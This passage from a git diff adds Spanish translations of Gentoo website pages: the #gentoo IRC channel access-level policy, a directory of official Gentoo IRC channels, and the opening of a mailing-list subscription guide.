+    <uri link="/images/backgrounds/gentoo-abducted-800x600.png">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1600x1200.png">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic-t-257123.html">Matteo 'Peach' Pescarin</uri>
+  </ti>
+  <ti></ti>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/es/irc-gentoo-policy.xml b/xml/htdocs/main/es/irc-gentoo-policy.xml
new file mode 100644
index 00000000..99ac6fe0
--- /dev/null
+++ b/xml/htdocs/main/es/irc-gentoo-policy.xml
@@ -0,0 +1,157 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/es/irc-gentoo-policy.xml,v 1.3 2006/11/18 18:19:57 chiguire Exp $ -->
+
+<guide link="/main/es/irc-gentoo-policy.xml" lang="es">
+<title>Guía de Estructura #gentoo</title>
+<author title="Autor">
+  <mail link="chriswhite@gentoo.org">Chris White</mail>
+</author>
+<author title="Autor">
+  <mail link="astinus@gentoo.org">Alex Howells</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire@gentoo.org">John Christian Stoddart</mail>
+</author>
+<author title="Traductor">
+  <mail link="linuxblues@gentoo-es.org">Fernando M. Bueno</mail>
+</author>
+
+<abstract>
+Esta guía intenta describir la estructura del canal IRC #gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2006-04-23</date>
+
+<chapter>
+
+<title>Introducción</title>
+<section>
+<title>Resumen</title>
+<body>
+
+<p>
+Este documento muestra la estructura de #gentoo.
+</p>
+</body>
+</section>
+
+<section>
+<title>Razonamiento</title>
+<body>
+
+<p>
+Actualmente #gentoo es un canal con una enorme cantidad de usuarios,
+aproximadamente 1.000.  Es también el lugar de reunión para muchos
+usuarios que están probando Gentoo por primera vez. A consecuencia de
+esto necesita una forma más estructurada de manejar las cosas.
+</p>
+</body>
+</section>
+
+<section>
+<title>Estructura #gentoo</title>
+<body>
+
+<p>
+La estructura de #gentoo es la siguiente:
+</p>
+
+<ol>
+  <li>Usuarios de Tor: Nivel 10 - Actualmente, debido a la incapacidad
+  para controlar adecuadamente las acciones de los usuarios tor, se ha
+  silenciado el dominio por completo. Este acceso es para darles voz
+  automáticamente, lo que les permitirá hablar.</li>
+  <li>Nivel 20 es para desarrolladores. Los desarrolladores podrán
+  otorgarse el estado <c>OP</c> a sí mismos, pero no podrán manejar
+  cosas generales en el canal, como <c>AKICK</c> o añadir otros
+  usuarios.</li>
+  <li>Nivel 30 es para personal - Este es para el personal, o las
+  personas encargadas de manejar las tareas diarias de #gentoo. Se les
+  permite acceder a la función <c>AKICK</c>.</li>
+  <li>Nivel 40 es para administradores - Este es el nivel
+  superior. Dichas personas serán capaces de hacer cosas como alterar
+  la lista de acceso para ajustar los permisos.</li>
+</ol>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Directrices</title>
+<section>
+<title>Capacidades</title>
+<body>
+
+<p>
+He aquí una lista de las capacidades de los usuarios basada en su nivel:
+</p>
+
+<table>
+  <tr><th>10</th><ti>AUTOVOICE</ti><ti>Recibir voz automáticamente</ti></tr>
+  <tr><th>20</th><ti>TOPIC</ti><ti>Cambiar el tópico del canal</ti></tr>
+  <tr><th>20</th><ti>CMDINVITE</ti><ti>Uso del comando INVITE</ti></tr>
+  <tr><th>20</th><ti>AUTOOP</ti><ti>Operador automáticamente</ti></tr>
+  <tr><th>20</th><ti>CMDUNBAN</ti><ti>Uso del comando UNBAN</ti></tr>
+  <tr><th>30</th><ti>CMDVOICE</ti><ti>Uso del comando VOICE</ti></tr>
+  <tr><th>30</th><ti>CMDOP</ti><ti>Uso del comando OP</ti></tr>
+  <tr><th>30</th><ti>AUTOKICK</ti><ti>Permite la modificación AKICK</ti></tr>
+  <tr><th>40</th><ti>CMDCLEAR</ti><ti>Uso del comando CLEAR</ti></tr>
+  <tr><th>40</th><ti>SET</ti><ti>Modificar los SET del canal</ti></tr>
+  <tr><th>40</th><ti>ACCESS</ti><ti>Permite la modificación de ACCESS</ti></tr>
+</table>
+</body>
+</section>
+
+<section>
+<title>Reglas</title>
+<body>
+
+<ul>
+  <li>Sólo los desarrolladores Gentoo pueden alcanzar el nivel 40.</li>
+  <li>Sólo el personal puede manejar las aplicaciones .tor. Esto se debe a que 
+  entienden mejor cómo funciona #gentoo y quien puede causar problemas.</li>
+  <li>Los desarrolladores pueden cambiar su estado solicitándolo a un
+  administrador.</li>
+  <li>Los usuarios inactivos sin una buena razón, tendrán un descenso en su
+  nivel de acceso o se eliminará por completo dependiendo de la situación.
+  Se entiende por inactivo dos semanas.</li>
+  <li>Actualmente las prohibiciones (bans) se establecen durante dos semanas,
+  después de las cuales se eliminarán. Si se prohibe a un usuario tres veces,
+  será puesto de inmediato en la lista AKICK.</li>
+  <li>Quejas sobre prohibiciones deben ser enviadas a:
+  <mail>ops@gentoo.org</mail></li>
+  <li>Enfrentamientos públicos deben ser enviados a la lista de correo
+  gentoo-ops o a #gentoo-ops.</li>
+  <li>AKICK es una prohibición seria. ¡Sólo puede eliminarse bajo consenso
+  total de todos los administradores activos y todo el personal (excepto el
+  miembro afectado)!</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Contactar con administradores</title>
+<body>
+
+<p>
+Las siguientes personas tienen actualmente privilegios administrativos:
+</p>
+
+<ul>
+  <li>Astinus</li>
+  <li>avenj</li>
+</ul>
+</body>
+</section>
+</chapter>
+</guide>
+
diff --git a/xml/htdocs/main/es/irc.xml b/xml/htdocs/main/es/irc.xml
new file mode 100644
index 00000000..c5809510
--- /dev/null
+++ b/xml/htdocs/main/es/irc.xml
@@ -0,0 +1,536 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/es/irc.xml,v 1.15 2010/07/27 15:10:18 chiguire Exp $ -->
+
+<mainpage lang="es">
+<title>Recursos IRC Gentoo Linux</title>
+<author title="Editor">
+  Colin Morey
+</author>
+<author title="Editor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="astinus@gentoo.org">Alex Howells</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+<author title="Editor">
+  <mail link="musikc@gentoo.org">Christina Fullam</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire"/>
+</author>
+<author title="Traductor">
+  <mail link="linuxblues@gentoo-es.org">Fernando M. Bueno</mail>
+</author>
+<author title="Traductor">
+  <mail link="trek1s@gmail.com">Francisco Rodera</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux"/>
+</author>
+
+<abstract>
+Canales oficiales de IRC Gentoo
+</abstract>
+
+<license/>
+
+<version>1.39</version>
+<date>2010-07-16</date>
+
+<chapter>
+<title>Internet Relay Chat</title>
+<section>
+<body>
+
+<p>
+<b>Todos nuestros canales oficiales de IRC pueden encontrarse en <uri
+link="http://www.freenode.net/">freenode</uri></b>.
+</p>
+
+<p>
+Todos nuestros canales son gestionados por voluntarios para el beneficio mutuo
+de usuarios y colaboradores, y consideramos que el IRC debe estar abierto a
+cualquiera. No dude en entrar y presentarse, y considérelo como un recurso
+más cuando tenga problemas o preguntas relacionados con Gentoo Linux.
+</p>
+
+<p>
+Pedimos muy poco a los usuarios que visiten nuestros canales de ayuda en
+freenode:
+</p>
+
+<ul>
+  <li>Por favor, actue de forma sensata y madura, siguiendo el
+  <uri link="/proj/en/council/coc.xml">Código de Conducta</uri>.</li>
+  <li>Por favor, lea el tema cuando entre en un canal, ¡contiene
+  información importante!</li>
+  <li>Los bots y scripts que hablen no son bienvenidos en la mayoría de
+  canales. En caso de duda, consulte si se pueden utilizar.</li>
+  <li>Por favor, no ejecute <c>CTCP VERSION</c> o comandos similares sobre
+  usuarios o canales sin obtener su consentimiento.</li>
+  <li>Por favor, tenga en cuenta que mantenemos una política de lenguaje
+  correcto en #gentoo, y no se permite emplear palabras malsonantes.</li>
+  <li>Por favor, dese cuenta de que no podemos dar soporte a gestores de
+  paquetes alternativos en #gentoo, ¡sólo Portage! </li>
+</ul>
+
+<p>
+Se debe tener en cuenta que <b>no</b> damos soporte a distribuciones derivadas
+de Gentoo Linux.
+</p>
+
+<table>
+<tr>
+  <th>Principal(es) Canal(es) de Soporte</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo">#gentoo</uri></ti>
+  <th>Cuestiones relativas a la instalación, ¿tiene un problema con Xorg?. Dele
+  una oportunidad a gentoo!</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dev">#gentoo-dev</uri></ti>
+  <th>Discusión acerca del desarrollo activo de Gentoo Linux, requiere
+  voz (+v).</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-groupcontacts">
+  #gentoo-groupcontacts</uri></ti>
+  <th>Gentoo Group Contacts es la vía oficial para pedir o informar de las
+  cuestiones con un canal o cloak de Freenode, etc.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ops">#gentoo-ops</uri></ti>
+  <th>Las preguntas o quejas sobre las políticas o prohibiciones en #gentoo,
+  deben ser expuestas únicamente aquí.</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Canales de Soporte de las Arquitecturas y Plataformas</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-alpha">#gentoo-alpha</uri></ti>
+  <th>Gentoo Linux/Alpha</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-amd64">#gentoo-amd64</uri></ti>
+  <th>Gentoo Linux/AMD64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-amd64-dev">#gentoo-amd64-dev
+  </uri></ti>
+  <th>Canal de los Desarrolladores de Gentoo Linux/AMD64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-bsd">#gentoo-bsd</uri></ti>
+  <th>Gentoo *BSD</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-hppa">#gentoo-hppa</uri></ti>
+  <th>Gentoo Linux/HPPA</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ia64">#gentoo-ia64</uri></ti>
+  <th>Gentoo Linux/IA-64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-mips">#gentoo-mips</uri></ti>
+  <th>Gentoo Linux/MIPS</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-powerpc">#gentoo-powerpc</uri></ti>
+  <th>Gentoo Linux/PowerPC (PPC y PPC64)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-sparc">#gentoo-sparc</uri></ti>
+  <th>Gentoo Linux/Sparc</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-x86">#gentoo-x86</uri></ti>
+  <th>Desarrollo de Gentoo Linux/x86</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th><b>Canales Generales y de Desarrollo</b></th>
+</tr>
+<tr>
+  <ti>
+    <uri
+    link="irc://irc.gentoo.org/gentoo-accessibility">#gentoo-accessibility</uri>
+  </ti>
+  <th>
+    El proyecto de <uri link="/proj/en/desktop/accessibility">Accesibilidad
+    </uri>
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-apache">#gentoo-apache</uri></ti>
+    <th>Chat relacionado con el desarrollo de Gentoo Apache</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-bugs">#gentoo-bugs</uri></ti>
+  <th>Eventos del BugDay, Corrección de bugs</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-cluster">#gentoo-cluster</uri></ti>
+  <th>Gentoo Linux/Clustering</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-council">#gentoo-council</uri></ti>
+  <th><uri link="/proj/en/council">Gentoo Council</uri></th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.gentoo.org/gentoo-commits">#gentoo-commits</uri></ti>
+ <th>Información en tiempo real de los envíos al CVS/SVN de Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-db">#gentoo-db</uri></ti>
+  <th>Discusión acerca de paquetes de bases de datos.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-desktop">#gentoo-desktop</uri></ti>
+  <th>Desarrolladores, usuarios y todo relacionado con el escritorio.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dev-help">#gentoo-dev-help</uri>
+  </ti>
+  <th>Espacio de trabajo para creadores de Ebuilds</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-devrel">#gentoo-devrel</uri></ti>
+  <th>El proyecto de <uri link="/proj/en/devrel">Relaciones de los
+  Desarrolladores</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-doc">#gentoo-doc</uri></ti>
+  <th>Desarrollo de Documentación Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-embedded">#gentoo-embedded</uri>
+  </ti>
+  <th>Gentoo Linux Integrado</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-events">#gentoo-events</uri></ti>
+  <th>Organización y chat en tiempo real durante los eventos públicos de
+   Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-forums">#gentoo-forums</uri></ti>
+  <th>Chat relacionado con los Foros Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-games">#gentoo-games</uri></ti>
+  <th>Discusiones acerca del soporte nativo de juegos (no Cedega o
+  Wine)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-guis">#gentoo-guis</uri></ti>
+  <th>Proyecto GUIs de Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-hardened">#gentoo-hardened</uri>
+  </ti>
+  <th>Gentoo Linux "Endurecido"</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-haskell">#gentoo-haskell</uri></ti>
+  <th>Paquetes Haskell</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-java">#gentoo-java</uri></ti>
+  <th>Chat relacionado con Java</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-kde">#gentoo-kde</uri></ti>
+  <th>Mantenimieto de los paquetes de KDE</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.gentoo.org/gentoo-kernel">#gentoo-kernel</uri></ti>
+ <th>Discusión acerca del desarrollo del Kernel Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-gwn">#gentoo-gwn</uri></ti>
+  <th>Boletín Semanal Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-laptop">#gentoo-laptop</uri></ti>
+  <th>Chat relacionado con portátiles</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-lisp">#gentoo-lisp</uri></ti>
+  <th>Discusión acerca de Lisp en Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-media">#gentoo-media</uri></ti>
+  <th>Desarrollo multimedia en Gentoo</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.gentoo.org/gentoo-mirrors">#gentoo-mirrors</uri></ti>
+ <th>Chat acerca de réplicas y su administración</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-netmail">#gentoo-netmail</uri></ti>
+  <th>Paquetes relacionados con el Correo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-netmon">#gentoo-netmon</uri></ti>
+  <th>Paquetes de monitorización de Red</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-perl">#gentoo-perl</uri></ti>
+  <th>Todo lo relacionado con perl en Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-php">#gentoo-php</uri></ti>
+  <th>Discusión y soporte para PHP en Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-portage">#gentoo-portage</uri></ti>
+  <th>Desarrollo de Portage Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pr">#gentoo-pr</uri></ti>
+  <th>El proyecto de <uri link="/proj/en/pr">Relaciones Públicas</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-prefix">#gentoo-prefix</uri></ti>
+  <th>El proyecto <uri link="/proj/en/gentoo-alt/prefix/">Gentoo Prefix</uri>
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-python">#gentoo-python</uri></ti>
+  <th>Discusión y soporte de Python en Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-qa">#gentoo-qa</uri></ti>
+  <th><uri link="/proj/en/qa">Aseguramiento de Calidad</uri> en Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.irc.gentoo.org/gentoo-qt">#gentoo-qt</uri></ti>
+  <th>Gentoo <uri link="/proj/en/desktop/qt/">Proyecto Qt</uri></th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.gentoo.org/gentoo-releng">#gentoo-releng</uri></ti>
+ <th>Discusión interna del equipo de Ingeniería de Lanzamientos de Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ruby">#gentoo-ruby</uri></ti>
+  <th>Ruby en Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-science">#gentoo-science</uri>
+  </ti>
+  <th>Proyecto Científico Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-security">#gentoo-security</uri>
+  </ti>
+  <th>Discusiones acerca de la seguridad de Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-server">#gentoo-server</uri></ti>
+  <th>Chat relacionado con Servidores</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-soc">#gentoo-soc</uri></ti>
+  <th>Nuestra participación en el Verano de Código de Google (Google Summer of
+  Code)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-sunrise">#gentoo-sunrise</uri></ti>
+  <th><uri link="/proj/en/sunrise">Proyecto Sunrise - Overlays de Usuarios de
+  Gentoo</uri></th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-toolchain">#gentoo-toolchain</uri>
+  </ti>
+  <th>Discusión sobre la cadena de herramientas en Gentoo (GCC, libc, binutils,
+  etc.)</th>
+</tr>
+<tr>
+  <ti>
+    <uri
+    link="irc://irc.gentoo.org/gentoo-treecleaners">#gentoo-treecleaners</uri>
+  </ti>
+  <th><uri link="/proj/en/qa/treecleaners">Equipo de Limpieza del Árbol Gentoo
+  </uri></th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-trustees">#gentoo-trustees</uri>
+  </ti>
+  <th>Los Miembros del Consejo de Administración del la
+  <uri link="/foundation/en/">Fundación Gentoo</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-userreps">#gentoo-userreps</uri>
+  </ti>
+  <th>Aquí se puede encontrar y conversar con los representantes de
+  los usuarios.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vbox">#gentoo-vbox</uri></ti>
+  <th>Canal del soporte y el desarrollo de virtualbox en gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vdr">#gentoo-vdr</uri></ti>
+  <th>Conversación relacionada con Gentoo VDR y DVB</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vim">#gentoo-vim</uri></ti>
+    <th>Discusión de Vim en Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-voip">#gentoo-voip</uri></ti>
+  <th>Discusión relacionada con voz a través de IP</th>
+</tr>
+<tr>
+ <ti><uri link="irc://irc.gentoo.org/gentoo-vps">#gentoo-vps</uri></ti>
+ <th>Chat relacionado con el el Servidor Privado Virtual en Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-web">#gentoo-web</uri></ti>
+  <th>Todo lo relacionado con la web y aplicaciones (bajo Gentoo, por supuesto)
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-wiki">#gentoo-wiki</uri></ti>
+  <th>Discusión <uri link="/proj/en/wiki">Gentoo Wiki</uri></th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Canales de Soporte Regionales</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-au">#gentoo-au</uri></ti>
+  <th>Australia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-be">#gentoo-be</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-br">#gentoo-br</uri></ti>
+  <th>Português do Brasil</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-by">#gentoo-by</uri></ti>
+  <th>На беларускай мове</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo.cs">#gentoo.cs</uri></ti>
+  <th>česky a slovensky</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-cn">#gentoo-cn</uri></ti>
+  <th>简体中文</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo.de">#gentoo.de</uri></ti>
+  <th>Auf Deutsch</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dk">#gentoo-dk</uri></ti>
+  <th>På Dansk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-el">#gentoo-el</uri></ti>
+  <th>Στα Ελληνικά</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-es">#gentoo-es</uri></ti>
+  <th>En español</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-fi">#gentoo-fi</uri></ti>
+  <th>Suomeksi</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoofr">#gentoofr</uri></ti>
+  <th>En français</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-id">#gentoo-id</uri></ti>
+  <th>Komunitas Pengguna Gentoo Indonesia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-in">#gentoo-in</uri></ti>
+  <th>Soporte para Usuarios de Gentoo de la India y localización Índica</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-it">#gentoo-it</uri></ti>
+  <th>In Italiano</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ja">#gentoo-ja</uri></ti>
+  <th>日本語で</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-nl">#gentoo-nl</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-no">#gentoo-no</uri></ti>
+  <th>På norsk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pl">#gentoo-pl</uri></ti>
+  <th>Po Polsku</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pt">#gentoo-pt</uri></ti>
+  <th>Em Português</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ro">#gentoo-ro</uri></ti>
+  <th>Discuţii în limba română</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ru">#gentoo-ru</uri></ti>
+  <th>на Русско языкем</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-se">#gentoo-se</uri></ti>
+  <th>På svenska</th>
+</tr>
+<tr>
+  <ti><uri link="irc:irc.gentoo.org/gentoo-tr">#gentoo-tr</uri></ti>
+  <th>Resmi Gentoo Türkiye kanalı</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-tw">#gentoo-tw</uri></ti>
+  <th>使用繁體中文(台灣)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ua">#gentoo-ua</uri></ti>
+  <th>Українською</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-uk">#gentoo-uk</uri></ti>
+  <th>United Kingdom</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ve">#gentoo-ve</uri></ti>
+  <th>Venezuela</th>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/es/lists.xml b/xml/htdocs/main/es/lists.xml
new file mode 100644
index 00000000..39ea0c53
--- /dev/null
+++ b/xml/htdocs/main/es/lists.xml
@@ -0,0 +1,751 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/es/lists.xml,v 1.18 2010/08/30 10:43:11 nimiux Exp $ -->
+
+<mainpage lang="es">
+<title>Listas de Correo Gentoo</title>
+
+<author title="Autor">
+  <mail link="lcars">Andrea Barisani</mail>
+</author>
+<author title="Autor">
+  <mail link="cybersystem">Sascha Schwabbauer</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119">Curtis Napier</mail>
+</author>
+<author title="Editor">
+  <mail link="klieber">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="robbat2">Robin H. Johnson</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traductor">
+   <mail link="chiguire"/>
+</author>
+<author title="Traductor">
+   <mail link="trek1s@gmail.com">Francisco Rodera</mail>
+</author>
+<author title="Traductor">
+  <mail link="srinclan@gmail.com">Sergio D. Rodríguez Inclan</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux"/>
+</author>
+
+<abstract>
+Lista de correos públicas Gentoo
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>6</version>
+<date>2010-08-29</date>
+
+<chapter>
+<title>Listas de correo</title>
+<section>
+<body>
+
+<p>
+El proyecto de software libre Gentoo tiene un número de listas de
+correo públicas que cubren una variedad de asuntos relacionados con
+Gentoo. Nuestras listas de correo son accionadas por <uri
+link="http://mlmmj.mmj.dk">mlmmj</uri> y proporciona los cabezales
+de correo <c>List-Id:</c> y prefijos en la línea del asunto así
+<c>[nombredelista]</c> para cumplir con las normas y convenciones de
+los manejadores de listas modernos.
+</p>
+
+<p>
+La interacción con <c>mlmmj</c> es por medio de correo electrónico.
+Para suscribirse a una lista, envíe un correo en blanco a:
+</p>
+
+<p>
+<c>nombredelista+subscribe@lists.gentoo.org</c>
+</p>
+
+<note>
+Reemplace 'nombredelista' con el nombre exacto de la lista a la cual desea
+suscribirse. Por ejemplo: <c>gentoo-user+subscribe@gentoo.org</c> para
+suscribirse a la lista de correo <c>gentoo-user</c>.
+</note>
+
+<p>
+Una vez suscrito a la lista, puede publicar en la lista enviando
+correo a:
+</p>
+
+<p>
+<c>nombredelista@lists.gentoo.org</c>
+</p>
+
+<p>
+Para removerse de una lista, envíe un correo en blanco a:
+</p>
+
+<p>
+<c>nombredelista+unsubscribe@lists.gentoo.org</c>
+</p>
+
+<p>
+Todas nuestras listas también tienen una lista resumida
+correspondiente. Las listas resumidas enviarán un solo correo cada dos
+días en vez de correos individuales por cada post. Envíe un correo en
+blanco a las siguientes direcciones para suscribirse o removerse de
+listas resumidas respectivamente:
+</p>
+
+<p>
+<c>nombredelista+subscribe-digest@lists.gentoo.org</c><br/>
+<c>nombredelista+unsubscribe-digest@lists.gentoo.org</c>
+</p>
+
+<p>
+Algunos usuarios querrán enviar correo a la lista, pero no recibir
+correo de ella (como aquellos que leen las listas vía métodos
+alternativos, como gmane). Estos usuarios puede suscribirse con la
+opción "nomail" de cada lista:
+</p>
+
+<p>
